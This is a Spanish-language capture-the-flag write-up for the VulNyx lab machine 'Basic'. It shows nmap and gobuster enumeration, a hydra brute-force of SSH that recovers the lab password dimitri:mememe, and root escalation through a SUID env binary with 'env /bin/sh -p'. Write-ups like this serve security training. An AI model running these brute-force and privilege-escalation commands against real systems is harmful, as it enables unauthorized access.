cd ~/blog

~/writeups/vulnyx/01-basic.md

01 - Basic

low Linux vulnyxautor: Jordy Pérez Osorio aviso legal
Weak SSH PasswordSUID env Privesc
vulnyx.com

~1 min de lectura


La ruta de esta máquina ilustra una cadena muy común: primero se transforma información pública de un servicio en un usuario válido, después se comprueba si ese usuario emplea una contraseña débil y, finalmente, se auditan permisos locales peligrosos. La idea importante es no atacar todos los servicios por igual: CUPS aporta identidad, SSH ofrece el punto de entrada y el bit SUID de env permite convertir un acceso limitado en control total del sistema.

Comenzamos con un escaneo general de puertos y, a partir de los puertos abiertos, uno específico para identificar versiones y servicios:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.129
❯ nmap -sCV -p22,80,631 -oN 02-targeted.txt 192.168.1.129
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-25 00:30 -03
Nmap scan report for 192.168.1.129
Host is up (0.00029s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
| ssh-hostkey:
|   3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
|   256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_  256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp  open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
631/tcp open  ipp     CUPS 2.3
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Inicio - CUPS 2.3.3op2
|_http-server-header: CUPS/2.3 IPP/2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.92 seconds

Tenemos tres servicios expuestos: SSH (22), un Apache con la página por defecto (80) y un servicio de impresión CUPS (631). Enumeramos el sitio web en busca de rutas adicionales con gobuster:

❯ gobuster dir -u http://192.168.1.129 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r

La pista útil aparece en el servicio CUPS, donde se filtra un nombre de usuario válido del sistema. Con ese usuario lanzamos un ataque de fuerza bruta contra SSH usando hydra:

❯ hydra -l dimitri -P ~/Documentos/wordlists/rockyou.txt 192.168.1.129 ssh -t 64
...
[22][ssh] host: 192.168.1.129   login: dimitri   password: mememe
...

Nos conectamos por SSH con las credenciales dimitri:mememe y obtenemos la primera flag.

Para escalar privilegios, buscamos binarios con el bit SUID activado:

dimitri@basic:~$ find / -perm -4000 2>/dev/null
...
/usr/bin/env
...

El binario env tiene el bit SUID, lo que permite abusarlo para ejecutar un intérprete heredando los privilegios del propietario (root). Según GTFOBins, lanzamos una shell con -p para preservar el UID efectivo:

dimitri@basic:~$ env /bin/sh -p
# whoami
root

Obtenemos nuestra flag y fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados